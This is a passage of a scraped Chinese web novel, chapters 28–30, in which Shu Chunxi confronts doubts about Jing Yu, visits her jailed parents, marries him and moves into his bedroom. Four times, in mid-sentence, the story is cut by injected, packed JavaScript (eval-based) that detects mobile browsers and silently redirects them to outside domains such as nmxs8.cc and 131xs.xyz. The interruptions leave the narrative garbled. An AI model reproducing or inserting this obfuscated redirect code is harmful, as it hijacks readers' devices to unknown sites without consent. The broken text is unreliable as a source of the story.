“你可知道自从舒家出事以来,整个南省从中枢到地方区县,总共空出来多少位置,又有多少人在此之后无声无息地顶了上来?” 宗正拧紧的眉头就没有放下来过,走到落地窗边望着窗外的车水马龙,少年心气始终难以平复,喉咙里吐纳着蹿高的怒气。 “你不知道!那我告诉你,那些顶上来的官员里面,少说有四成都是受过他敬家恩惠的门生,而剩下的那六成呢?这两年几乎所有人都是他敬宅的座上宾。” “现在你还觉得,你选择敬渝真的是明智之举么?舒纯熙你自己好好想想,他为什么会跟那些人走得那么近?实话同你说吧,现在整个南省,他敬渝的权势地位风头无两,简直是只手遮天,早就不是两年前你认识的那个他了!” “你告诉我,现在他拥有的这一切,其中有没有你舒家人的一份功劳,如果不是他踩着你们、吞噬了你们原本拥有的,会有今日的他吗?既然如此,你又凭什么觉得,你只要嫁给了他,他就会帮你给舒家翻案,然后,再乖乖地吐出他原本已经咽下去的所有好处呢?” 舒纯熙愣在电话的那一头,一只手死死地握紧靠在耳边的手机,僵直了身子。 他说得对,她不知道,她又上哪里知道这些事情呢? 父母从来没有跟她说过这些,当年家里出事的时候,她还是个不谙世事的千金大小姐,什么国际局势、政治斗争,她一概不懂,那也从来都不是她需要考虑的事情。 然后一夜之间,所有的东西都变了,物是人非推着她不得不往前走,小心翼翼地审视着周遭的一切。 她终于常常觉得自己懵懂愚笨,但她又有什么办法呢,就算是想长进,这两年里,又有谁会教她这些呢? 她在这世上早已是疲于保命的独自一个人了。 努力嚅动着唇瓣,舒纯熙想发出点声音来,但又实在不知道自己该说什么。 或许宗正是气疯了,所以才会口不择言地污蔑她转而选择的那个人,也不一定。 但又或许,他说的其实是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415592|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 最后舒纯熙跟宗正又说了些什么场面话,然后又是怎么挂的电话,她自己都没有印象了。 只记得她站在阳台上面,傻傻地待在原地没有动弹,望着远处凝望得出了神。 直到两点之后,等在楼下的敬渝没有看见舒纯熙出现,来敲她的房门,舒纯熙才恍然间抬起脚步,动作僵硬地去找自己的身份证件,然后又跟着敬渝的脚步,下了楼,换好鞋,接着再走出大门,跟在他后面上了车。 轿车驶出敬宅,后座的敬渝与舒纯熙并肩坐着,目光不远不近地落在她身上,不动声色地蹙了下眉。 按他对舒纯熙的了解,如果出门的话,她应该会换一身衣服的,但现在她身上穿的就是上午的那身衣服。 而且,舒纯熙从刚刚开始,打开房门露面时,身上的不对劲就更甚了。 敬渝没由来地有点担心,明明两个人都带了各自的证件,是在去领证的路上,但现在的气氛,却根本没有一丁点的喜气。 就这样想着,敬渝已然伸出了右手,握住舒纯熙交叠在腿上的一只手腕。 若有所感,她于这时转头望向了自己。 敬渝弯了弯唇角,柔声问她, “你是不是不舒服,没事吧?” 女人很快摇了摇头,难得地任他牵着,没有挣扎着要收回手,另一只放在膝上的手在这时忽然抚摸上了小腹,若有所思。 敬渝很快紧张起来,屏息凝神,朝她靠近一些坐到她身边,盯着她的腹部,那凸出来的一点点圆润弧度,连忙问: “是不是它闹你了?你现在难受吗纯熙,是不是有点想吐?” 舒纯熙又很快地摇了摇头,飘远的思绪仿佛回到了她的体内,她对上他投来的眼神,目光清明,突然正色问他: “敬渝,你说你上次去见过我父亲了,那个时候,他跟你都说了些什么,你再好好说一遍。” 敬渝疑惑了一瞬,但还是随即张开嘴,仔细回想的同时开口回答她的问题: “我和伯父聊了些案子上的事情,聊完之后,他对我说‘如果可以,希望你多照顾照顾纯熙,往后她在敬家就拜托你了’。” 他说完,注意着舒纯熙陷入深思的脸色,握着她的手动了动,又很认真地对着她说: “纯熙,那天我就已经答应舒伯父了。所以你放心吧,我一定会好好照顾你和孩子,负起责任的。” 舒纯熙不知道能不能相信他,又该不该相信他,被他牵着的手微弱地动了动,突然说: “我想先去见我爸妈,去过监狱,我们再去民政司。” 敬渝不知道舒纯熙为什么会半路提出这个要求,他脸上的神情也凝重了起来,斟酌着劝她, “一个月只有一次会见,等下个月我们再去见伯父伯母,行不行?” “一个月是规定了只有一次会见,但是你有办法的不是么,不然上次你又是怎么去见他们的?” 女人望着他的目光里面,怀疑终于变成了实质,动作坚决地把自己的手从他手心里给抽了出来,摇了摇头,临时反了悔。 “你让司机往监狱开,我要先去见我爸妈,不然我不会跟你领证结婚的。” 28. 第 28 章 第二十八、二十九章第二版、 第二十八章、 她没有再虚与委蛇,也没有要征求他同意的意思,只是直截了当地说出了自己的要求,带着那种坚决的、不会更改的意味。 眼前舒纯熙的这幅模样,敬渝根本不陌生,虽然从表面上来看,两年后的她从和以前有些不一样了,但骨子里那种倔强和执拗,也只是被血肉皮囊包裹得更深了一点而已。 他从来也都拗不过她,好像只有“让步”这一个选择。 敬渝屏息沉默着,车厢里落地闻针,氛围凝滞着,又仿佛剧烈地拉扯着,像一根弦只是在等待终于蓄满到顶点的那一刻。 终于,握着舒纯熙的那只手无端加重了力气,敬渝开了口,克制地舒出一口气。 “去一等公狱。” 驾驶座的司机应声,在下一个路口调转了车头。 没过多久,敬渝又从口袋里摩挲着用左手拿出了手机,然后放到裤腿上,解锁,打开电话本,找到一个号码,拨出后,又用有些不熟练的动作,把手机拿了起来放到左耳边上。 余光里,舒纯熙看完了他所有的动作,对于他宁愿这样都不松开右手的行为,有点无语,但终究没有做什么,只是敛下眸子,听他继续讲电话。 敬渝安排的自然是他们进监狱的事情,同那头礼貌客套了两句,并没有什么额外的信息。 舒纯熙听了一会儿,就有点疲惫起来,仰身向后,靠在椅背上面闭上双眼,朝着窗外的方向偏过头,竟然也迷迷糊糊地睡了过去。 待到耳边传来放松的、有规律的微弱呼吸声,敬渝才卸下肩背上绷紧的劲儿。 他放下手机,转头看过去,舒纯熙的脸并不是对着他这边,只留给他一个侧影,看不清楚她脸上的神情。 犹豫了一会儿,他悄然朝着身侧那人的方向探了过去。 左手顺着她脖颈底下的空隙轻柔地伸了进去,垫在她脑后,然后轻轻一拨,将舒纯熙的脸朝向了自己这侧。 做完这些,敬渝又小心翼翼地收回手,面上端着一副脸不红、心不跳的样子,蹙起眉头的样子,还是平时那个雷厉风行的敬总。 等红灯的功夫,驾驶座的司机大叔飞快地飘了一眼后视镜,然后两颗眼珠一转,在眼眶里划出个彩虹般的弧度,才将目光移回了前方的马路上。 而后座的人,保持着偏头的动作就没有变过,目光一寸不错地盯着面前的这张脸,已经不自觉地勾起了唇角。 她睡得熟了,就和以前一样,坐在车里有些颠簸的感觉,反而更容易让她陷入梦乡。 敬渝倚在椅背上,望着她,就好像他们正面对面在看着彼此一样。 这样的日子,实在是久违了。 他努了努双唇,将一声笑含在喉中,望着整个身体随着睡梦中的呼吸而规律起伏的舒纯熙,直到一记突然的刹车,身侧的肩膀被女人撞上。 敬渝于一瞬间僵住了身体,根本无心去管司机表达抱歉的话语,立刻就不敢动弹了。 怕她被惊醒,然后离开。 又怕他一动,她感觉到了,然后离开。 还怕他因为眨了一下眼睛,就发现现在的场景只是自己的幻想,她并没有靠过来。 就这样想着,男人的呼吸都刻意地放到缓得不能再缓,活像一只懒得不行的考拉。 但他忽然又觉得自己应该是一颗桉树。 因为舒纯熙的鼻梁压在他坚实的胸膛上,似乎有点难受,于是她“唔”了一声,不太高兴了,很快就蹭着他的身体挪动了一下脑袋,找了个更舒服的姿势,将侧脸抵在他肩膀上,呼吸又逐渐沉稳起来。 充当靠垫的敬渝闭上了双眼,胸膛里被一种酸涩又满足的奇怪情绪给淹没了,像是热带森林里面所有新鲜水果的美好和热烈都加在一起,一齐迸发出香味和果汁的那种感觉。 但他又不确定,这一切是否真的任他沉醉迷恋,或许他并不配得。 所以他还是一只考拉,舒纯熙才是那颗桉树,因为是她在散发那种让熊忍不住要靠近的毒素。 他讪讪地想着,情不自禁地又笑了,像一只呆熊。 . 去一等公狱的路程花了将近一个小时,舒纯熙迷蒙间醒来过几次,但又在颠簸里很快地继续睡下去,连眼皮子都不愿意睁开,不想放过自己好不容易得来的睡意。 等到车身停下,已经习惯了行车动静的身体比大脑更早清醒过来,她后知后觉地意识到,应该是已经到了。 舒纯熙睁开了双眼,看见眼前的敬渝。 转动了一下眼珠,将视角补充全面,然后开始疑惑自己为什么会离敬渝这么近,准确来说,她为什么像是贴在他怀里、要他抱着在睡觉的样子。 理智回笼的同时,女人皱着的眉心也重新出现在她的脸上。 “正好到了,下车吧。” 敬渝已经看见舒纯熙的反应了,要说心里面没有一点落差感肯定是假的。 勉强地扯了下嘴角,挪动有些发麻的身体,转过身坐回另一边,有点不自在地伸手打开门,率先走了下去。 已经有人等在监狱门口了。 今天事发突然,两个人都没有准备帽子口罩。 下车后的舒纯熙,心头立刻浮上一种不适的感受,紧跟在敬渝身后,试图将自己藏进他的背影里面。 前面跟宁秘书走在一起的敬渝一连走出好几步,似乎意识到了她的局促,依旧同身旁人保持着闲聊似的交谈,但步子已然慢下来,向后伸手抓住了舒纯熙的手腕,将她朝自己身边一带。 舒纯熙立刻警惕地瞪了他一眼。 敬渝目不斜视,没有给她任何回应,反而在几息之后,大掌径直向下,从她张开的五指之间插进去,与她十指相扣,牢牢地握住了她的手,带着她一起往前走。 舒纯熙不想当着外人的面跟他计较,但他竟然还敢得寸进尺。 终究是气不过,到了会见室外面,宁秘书同狱警交接的空当,她抬起鞋跟面不改色地踩了敬渝一脚。 然后,神情恹恹地上前两步,同候在门口的宁秘书道了句谢,走进了会见室。 留下敬渝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424205|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人,面部表情隐忍克制的站在原地,和宁秘书投过来的目光在半空相遇。 对方投过来带着询问的目光,似乎看出他的异常,而敬渝也只能礼貌地笑了一下,转而走到旁边的窗户跟前,往外看外面的景象,深呼吸了一口气。 几分钟的时间,脚背上的那点疼痛已经爬下去,她踩他的事情就翻了篇,敬渝的脸上,不由自主地换上颇为凝重的表情。 或许踏入这里之后,还想要保持平静的心情,本就是很难做到的事情。 至少在这一点上,他能很敏锐地捕捉到先前舒纯熙的那种情绪。 …… 没有等太久,身后会见室的门就开了。 舒纯熙从里面走出来,面上没有什么明显的表情,淡淡地朝他投过来一眼。 “走吧。” 一时之间,敬渝竟然判断不出来,舒怀宁跟舒纯熙说了些什么。 她反悔了么? 是因为要反悔,所以这个表情,还是因为不能反悔,所以这个表情呢? 敬渝想不清楚了,只好冲舒纯熙安抚地笑了一下,走上前,对她说: “我想进去见下伯父。你先跟宁秘书去女狱那边吧,伯母在等你呢。” 说完这话,舒纯熙脸上怀疑的神色一点都没有掩饰。 敬渝只好又冲她平常心地笑了笑,手极轻地在她胳膊旁拍了一下,看着她转身跟着宁秘书离开,然后才稍稍放下一口心气,敲了敲门。 在听到一声“请进”之后,敬渝推开了会见室的门。 直到敬渝走进来,出现在自己的视线里时,舒怀宁才知道,今天女儿竟然是跟敬渝一起来的。 方才她并没有提起这个。 舒怀宁坐在桌子后面,双手交握,放在身前的桌上。 微微仰着头,用目光打量着从门口逐渐走近的敬渝。 其实两人不久之前才见过。 这两年,除了逢年过节,舒纯熙和敬亭来探监的时候他不会出现,其余时候的会见,来的都是敬渝,每两个月一次,雷打不动。 来了,两个人也不谈别的,对生活琐事的关心不过点到为止,重头戏自然还是舒家的案子。 大多数时候,都是敬渝问些具体的问题,舒怀宁回答。 他们之间的交流很微妙,因为敬渝在外面的所作所为,舒怀宁无从得知,他也不会授意敬渝去做什么。 但到了探望的时候,敬渝又会例行公事地出现在这间会见室里。 舒怀宁并不能毫无保留地同敬渝交底,但后者好像也并不是很介意。 还有一个原因,那就是从前他总以为敬渝最终会是自己的女婿,隔了辈分,如今却要平起平坐地在一起论事,多少还是有点说不清道不明的古怪来。 敬渝走到桌子前,站着喊了声“伯父”,才拉开椅子,在他面前坐了下来。 而此时桌子后面的人还在思虑着方才女儿带来的消息,舒怀宁不出声,敬渝也就没有贸然开口。 一老一少两个男人,一时间就维持着心照不宣的沉默。 29. 第 29 章 第二十九章、 “纯熙刚刚跟我说了你们的事,征求我的同意。我已经和她说过了,我不反对。” 最先打破寂静的是舒怀宁,他沉声,目光紧紧盯着面前这个年轻人的眼睛,不错过一丝一毫的微表情。 对面的年轻人目光闪烁了一下,唇角扬起一个弧度,眼底浮上克制的激动,郑重地对他说: “伯父您放心,我一定会好好照顾纯熙,一辈子对她好的。” 敬渝能说出口的话,就是真的能做到。 这点舒怀宁并不怀疑,他看着敬渝长大,心里对他的人品有数。 “好,记住你说的话。但是,有一件事我要和你交代清楚。” 舒怀宁探究的目光逐渐饱含深意,思虑着,颇为严肃地对敬渝说: “当年她嫁给敬亭这件事,后来我想,其中应该有我的原因。是我叫她去寻求敬家人的庇护的。 “你不娶,她未嫁,就各有各的前程可奔。她在这件事上没有任何过错,你不能以此为理由责难她,让她受委屈,这你应该清楚,也能够做得到吧?” 静坐着,敬渝的神色同样深沉起来,像是糊成了一团的纸上旧墨,看不清楚眉眼嘴角之间,究竟蕴藏着什么样的心绪。 只在舒怀宁说完这段话后,兀自沉默了半刻,艰难地开口,一字一句重如千钧。 “这是自然。” 交代完这些话,舒怀宁终于深深吐出一口气,扶着额,因伤神而有些困倦,皱眉合上了双眼,最后说了一句: “但纯熙心里一定有气未消,这件事你自己去解决,毕竟往后还要过日子。” 说完,支在额边的那只手摆了摆,示意他可以走了。 敬渝便站起身,离开之前,又看了一眼坐在桌后的舒怀宁,动了动唇瓣,低声说: “承蒙不弃,多谢泰山大人指点。” 舒怀宁云淡风轻地“嗯”了一声。 待到耳边传来开门后又关上的“吱呀”声,他才睁开眼,望着眼前空荡荡的会客室,颇为畅意地笑出了声。 . 舒纯熙见到杨曦后,很快就将自己和敬渝打算结婚的事情告诉了母亲。 拉着舒纯熙手臂的杨曦很明显地愣了一下,但还是尽力将面上的异样给压下去,喏喏地想说点什么,接过舒纯熙的话茬,但一时之间,竟是无语凝噎住了。 但凡舒纯熙带来的消息里面,她是要跟任何一个出身显赫的男人结婚,杨曦都会喜忧参半。 同时与女儿笑着骂上几句她那死脑筋的执拗父亲,总还是不放弃他脑子的那些观念。 可是,即将成为她新女婿的人,却是敬渝。 杨曦拉着舒纯熙走到桌旁,一手撑在桌面上,状似寻常地走了两三步,一面还在偷偷观察舒纯熙的表情。 但被观察的人一派平静,并没有什么特别明显的反应。 好像大惊小怪的人反而是自己。 杨曦悄悄放下了心,露出一个笑容来,对舒纯熙说: “这样也好,敬渝这孩子还是不错的,妈妈可以放心了。” 舒纯熙也回之一笑,赞同地点点头,扑进杨曦的怀里,紧紧地埋首,眷念地拥抱着母亲。 杨曦则伸出手,一下一下地轻抚着舒纯熙的脊背,安抚着她。 待了一会儿,时间差不多了,舒纯熙就告别杨曦,走出了会客室。 脸上的笑容,也就在顷刻间收敛起来。 她向前一步,跟着宁秘书一起往监狱外走。 敬渝也刚刚从男狱那边出来,坐在车上等她,见她走出来,很快也下了车,将她这边的车门打开,看着她坐上去,再转身同宁秘书去道别。 从监狱离开,再去民政司的时间就有些紧迫,司机默默踩着油门加速。 后座上的两个人各自守着自己的那一边,偏过头在看窗户外面的风景。 现在车厢里着急的人好像就我一个。 司机讪讪地想,一言不发地盯着前方的路。 最后两个人排上队,成功在民政局下班之前办好了手续。 “恭喜两位喜结良缘,这是二位的证件,请拿好。” 舒纯熙看着眼前工作人员递过来的暗红色结婚证,望着上面“结婚证”三个大字幽幽出了神,伸手接过来拿在了手上。 扯唇回应了一下工作人员,她站起身就往外面走。 动作慢她半拍的敬渝连忙也站起来,手里拿着属于自己的那本结婚证,小跑两步,追上了她,和她并肩往外走。 舒纯熙脸上压根没什么结了婚的喜气,敬渝自然也就不会没眼力见地去说什么“新婚快乐”,默不作声地紧跟着她的脚步,一路无言地走到了停车场,上了车。 坐上车,回程路上,敬渝总算思考出一件可以说的事情,偏头凝望着她,轻声地问: “纯熙,你想怎么办婚礼?选什么时间好呢。” 舒纯熙应声扭过头看着他,不置可否。 敬渝眨眨眼,便继续说了下去: “婚礼肯定要按照你的喜好来安排,我都听你的。我记得,你以前是不是喜欢草坪婚礼?家里那片草坪就不错,或者在森林里面办,我让人先去预约国家森林公园的场地,那边不是有一片蓝湖么?到时候景色会很美。” 面前的人依旧没有开口,但也没有打断他,看得出来她在听,敬渝边想着边说,思虑得颇为认真。 “婚纱也要提前订,你不是最喜欢那个洛西斯的高定品牌吗,或者请尤佳静回国来帮你设计……婚宴的宾客名单,也得提前开始拟,我们两个的朋友、同学都要请到,还有一些生意上往来的合作伙伴,尽量办得隆重一点吧……” 敬渝想着,口中呢喃着最后一句话,话音拖长一时间没有落下。 当年的事情,就像一块疤一样横在彼此的心头。 所以这次,他希望能把婚礼办得盛大一点,能请的都请到,昭告所有人,让所有人都知道,他和她结婚了。 想到这,他有些怵地去瞄舒纯熙的眼色,然后,看见她不耐地皱起了眉头,歪歪头,忽然对他说: “我什么时候说要办婚礼了?你有心思去考虑这些没有用的东西,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427707|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不如早点想办法接我爸妈出来。” 说完,她冷冷地瞥了他一眼,没好气地偏过整个身子,朝着窗外的方向依靠着,把后背留给敬渝。 身后好一会儿没有传来回应的声响,过了几分钟,响起轻微的衣料窸窣声,大概是敬渝坐正了回去。 淡淡的男声传到耳边来,有点生硬,应道: “我知道了,你放心吧。” 之后,一路无言。 回到家,舒纯熙脱了鞋就径直上了楼,回到房间,扑在自己的床上,一动不动地盯着眼前最近的被面看。 过了一会儿,压得身体有点难受,她才从床上爬坐了起来,伸出手臂,把左手移到露台的那扇推拉门的方向,就着外面的天光,打量起自己手上的这枚戒指。 刚刚在车上,敬渝说起什么婚礼、婚纱的时候,她就顺其自然地想起了婚戒,也就是自己手上的这枚戒指。 女人歪着头,目光轻飘飘地落在无名指上。 那是两只小燕绕着一颗成色绝佳的珍珠的样子,燕子一上一下环绕在中间的宝珠旁,灵动无比,周身都做了钻石的镶嵌。 这样的设计手法,有点像是她最喜欢的奥丁铭灵的风格,但据她所知,又并不是他现今存世的作品之一。 舒纯熙撇了撇嘴,不欲再去想。 过了一会儿,李阿姨在外面敲了敲她的房门。 舒纯熙应了声,下床去开门,对上一张难掩高兴的脸。 至于她高兴的是什么,舒纯熙不用多想也能猜得出来。 看得出来,她和敬渝结婚,所有人都挺高兴的。 于是舒纯熙便也对着李阿姨露出一个淡淡的笑容,回应她的善意。 脑子里一闪而过宗正最后的那个问题,他说: “那你自己呢?舒纯熙。” 所有人都知道,嫁给敬渝是很好的选择,但你呢,你心里又是怎么想的呢? …… 我怎么想的,大概不重要。 舒纯熙倚在门边,看着脑海里拂过方才的回忆,又将注意力移到了李阿姨的脸上。 李阿姨依旧冲着舒纯熙笑眯眯地,自己看着长大的两个孩子,兜兜转转,总算能重新在一起了,她心里洋溢着一种欣喜到不知道该怎么说才好的情绪。 好像本来就该如此,如今事情总算回到正轨,总算又变回了它原本该有的样子了。 她由衷地替敬渝和舒纯熙感到高兴。 就这样想着,笑意还在加深,同面前的舒纯熙说: “夫人,我上来是想问问,你看什么时候帮你搬房间比较方便呢?要是可以的话,现在我就让人帮你收拾,今晚你就能跟敬总住到一块儿去了。” 舒纯熙嘴角的笑容凝滞了,被李阿姨的话惊到了,默然消化了一会儿,才幽幽地问了句: “是敬渝让你来说的么?” 李阿姨不知道这有什么关系,既然结了婚,新婚夫妻住在一起不是很正常的吗? 但她还是点点头,说: “我刚刚向敬总提的这事,敬总也同意了的。” 30. 第 30 章 第三十章、 舒纯熙没有立刻拒绝,思考了一会儿后,脑袋里也只有一团迷雾堵在那儿,最后,叹了口气,竟然鬼使神差地点了点头,同意了李阿姨的提议。 李阿姨很快就张罗了起来,下楼叫了两个人,来帮舒纯熙收拾行李,然后开始把东西从她现在的房间往敬渝的卧室搬。 舒纯熙的行李并不多,但自从她住进来之后,陆陆续续房间里也多出来不少精巧的摆设,而李阿姨指挥人把这些东西也给搬过去,包括她现在睡得这张床垫。 敬渝的卧室在走廊东边,靠尽头的倒数第二个房间。 佣人忙碌在走廊上,将东西一趟一趟的搬运着,舒纯熙也跟在后面,默默地走到了敬渝的卧室跟前,站在门口往里面透过去打量的一眼。 后面有人抱着枕头来,朝她轻声叫了句“太太”,舒纯熙反应了一会儿,才回过头去,发现自己挡在了门框之间。 她抱歉地收回目光,往前两三步,走到了房间里面,给别人让出位置来。 然后,置身于房间里,不论她愿意与否,整个卧房的景象也就彻底映入眼帘了。 黑白灰青四种颜色,就是敬渝卧室的所有颜色。 进门右手边是洗手间,左转有一个衣帽间,刚刚她被拿进来的衣服就是放到了那里。 再往前走分为两块区域,左侧沙发茶几,右侧是床。 前面,是一个小露台,和她原来住的那个比起来逼仄得可怜,想来只能站出去透透风,和波利那些建筑里的阳台倒是很像。 房间装潢简约,整洁朴素得像是没住人的样板间,没有一点人味。 若说是敬渝的房间,她也就理解了。 舒纯熙倚在阳台的玻璃门上,不绝于耳的人声莫名让她觉得很安心,低头玩起自己的指甲来。 她以前总想过,自己有一天会住到这里面来,会成为这个房间一半的主人。 那时候情感炽烈也很真诚,对敬渝的卧室也带着浓浓的好奇,想他不在自己视线之中的时候,都是怎么生活起居的。 或许是因为心底曾经的回忆又出来作祟了,她那些念想有机会成真,又明晃晃地送到跟前,她才没有拒绝。 舒纯熙想着想着,好整以暇地任由目光虚焦,直到耳边的声音逐渐消失,看着整理好后的房间,她才露出种一言难尽的表情来。 这种一言难尽在敬渝身上倒没有过多的体现,因为他整个人都表现得不太自然。 晚上两个人如常用完晚餐,舒纯熙上楼回了房间,敬渝则先去书房,等到九点多,他记挂着时间,才鼓足勇气,上楼回房。 门关着,他轻轻地敲了敲门,等到里面传来一声“请进”后,才推门走了进去。 方才那道女声的主人,正坐在床上他睡习惯的那一侧,腰腹到腿上盖着一层薄被,低头看着平板。 青灰色的皮质大床,上面铺着淡紫色的真丝床品,确实有些违和。 似乎是他突然回来,打扰了她做事的进程,床上的舒纯熙捻着平板的笔抵在下巴上,轻飘飘地朝自己投过来一个眼神。 敬渝被这目光瞧得,登时就觉得不自在了起来,抿紧双唇,躲闪似的在房间里左右看了一下,终于, “我,先去洗澡。” 不知道是对空气说的,还是对床上的人说的,总之他找到了该做的事,转身走进衣帽间,低头拿自己的换洗衣物。 原本的衣橱,空出了一大半的位置给舒纯熙,敬渝原先的衣服就换了地方,不知道被收拾到哪里去了。 他低头辨认着,打开一扇柜门时,对着映入眼帘的舒纯熙的衣服不由自主地屏起呼吸。 她从莫瑞恩尔回来的时候带的东西不多,剩下的大部分衣物都是后面再打包运回来的。 现下那五颜六色的女士服装塞满了他原本气氛冷淡的衣帽间,把这一切都给染上了颜色。 他的心砰砰跳着,却连忙移开目光,继续去找自己的睡衣。 舒纯熙余光看得见,敬渝从衣帽间出来,径直走进了洗手间,而后,“咔哒”一声落了锁,又过了一会儿,里面传来淅淅沥沥的水声。 这房子的隔音不太好。 她嘀咕了一声,皱起眉头继续看平板上的拼图小游戏,一个手举着蛋糕的小男孩,怎么也找不到是该放在哪儿。 盯着看了好一会儿,她就没有耐心了,一下子扔了笔,拿起手机查看起消息来。 过了一会儿,她似乎又耐下性子来,想继续玩,就找回笔,在平板上戳了起来。 敬渝至少在洗手间里磨蹭了半个小时。 洗澡、洗头再吹头发,实在没办法再待着不出去了。 打开洗手间的门,一身水汽的男人走了出去,低着头看着路,绕到床的另一边,掀开被子坐了上去。 松软的床垫因为突然多了一个人的重量,朝他的方向陷下去一个明显的坑,敬渝一手撑着床垫,感受着这张床垫的弹力效果,蹙起眉头,飞快地瞥了一眼不远处的女人。 两个人的目光在半空中遇上,一息不到就各自转开,往别的地方安置着自己的眼神。 敬渝默不作声地挪动下身体,靠在床头的皮质靠背上,坐正了。 耳边有她平板上正在玩的游戏自带的欢快配乐,“叮叮咚咚”的很愉悦。 男人偏过头,远远地去望她在玩的游戏,看她用笔拉着一个消防车往屏幕上的某个地方放下,然后就会出来一声“叮铃”的音效,证明她是选对了。 屏幕上分布着不同面积的彩色图案,剩下那些没有被填上的就是白色的,只用黑板留了一个线稿。 底下消灭一个再放出来一个的面板上,是游戏随机给出的拼图色块。 舒纯熙玩得挺认真的,不知不觉间盘起双腿,将平板捧在中间的被子上,往前低头微微俯着上半身。 似乎又遇到一个找不出来的拼图,她有点心烦意乱地把笔塞回保护壳的卡槽里面。 “怎么不玩了?” 一直在旁边默默看着没动的敬渝,奇怪地扬了扬眉。 舒纯熙没好气得剜了他一眼,瞪得圆圆的乌黑眼珠里面,带着点幽怨和烦躁。 敬渝牵唇笑了起来,朝她伸出左手, “给我看看,我帮你找。” 努了努嘴唇,舒纯熙不置可否,慢悠悠地解锁了平板,扔到敬渝手边不远处,抱胸倚回了床头,并不看他的方向。 敬渝哑然失笑,伸手捞起她的平板,盯着她留下来的小半面拼图,认真思考了起来。 她玩的时候,敬渝可以偷看她,但敬渝玩的时候,舒纯熙是不可能也去看他的。 但耳边传来的提示音却没有关掉,在一旁提醒着进度。 大功告成、闯关之后还会有一个更激动的提示音,舒纯熙耳朵尖,捕捉到后依旧闭着双眼不曾睁开。 过了一会儿,男人忽然从后面探身过来,将平板放在她身前,低声在耳边说: “你看?” 身后的男人突然离得太近,陌生的但又带着进攻性的雄性气息席卷了她,铺天盖地地翻涌而来。 舒纯熙立刻就感到不适起来,目光压根就没在他邀功般递过来的平板上停留,更没有看屏幕上最终展现出来的成品效果图。 她已然变成了一只触电后炸起全身毛发的黑猫,表情极为不善,嘴巴和身体比她的大脑反应得还要快。 “不要碰我。” 女人声沉如水,冷淡得如同秋霜,里面蕴含薄怒,或许还有什么敬渝来不及察觉的情绪。 而他刚刚并没有要碰她的意思,也没有真的碰到她的身体。 但她话已出口,闻言,男人朝她递平板的那只手臂克制地蜷起,在攥成一个拳头之前,有点僵硬地收了回来。 如她所愿,另一只撑在她身后的手臂也挪动了位置,默默地在几息之间,按照她的要求退避三舍。 敬渝坐回了他一开始的位置。 背对着敬渝的那个身影亦是无比僵硬,杵在原地,应激过后的反应又逐渐在消退。 她垂下眼眸,低头扫了一眼平板上还没有熄灭的屏幕,虚弱地呼出一口气。 房间里明明有两个人,但气氛冷淡得像是刚刚大吵过一架,直逼零度。 终于,不知道过了多久,敬渝努力牵动了一下唇角,柔声说: “不早了,睡吧。” 说完,左边床头那一动不动的身影挪动了一下,“嗯”了一声,默默地下床去了洗手间,回来后也没有看他,直接钻进被子里面。 现在昼米尔的温度很高,几近是夏天,只不过还没有开空调,是以床上也只准备了一条薄被。 舒纯熙钻进被子里裹住自己,但另一边被角在敬渝这边,所以他们两个之间,其实是漏风的。 敬渝不觉得有什么,但夜间凉爽的温度对于舒纯熙来说,应该还是有点冷的。 他想了想,掀起被子下了床,将自己那侧的被子往她那边推了推,没忘记不要莫名碰到她。 想说这被子都给你,任你一个人处置,但到了嘴边,他又只是低低地说了句: “你先睡,我去书房。” 舒纯熙躺上床后就一动不动。 她不是一个好脾气的人,但有时候迁怒到别人,又会因为别人遭受了无妄之灾而暗自愧疚。 可敬渝虽然无辜,但又并不完全无辜。 她才不跟他道歉。 果然,他也忍不下去的,男人都是一样。 说什么去了书房,其实就不会再回来了。 舒纯熙总算动了,懒洋洋地翻了个身,声音还是那样的冷,悠然答应道: “好啊,那你去吧。” 敬渝“嗯”了一声,走到门口,打开门走出去了。 房间里却还弥留着他的气息。 舒纯熙清楚地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432460|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 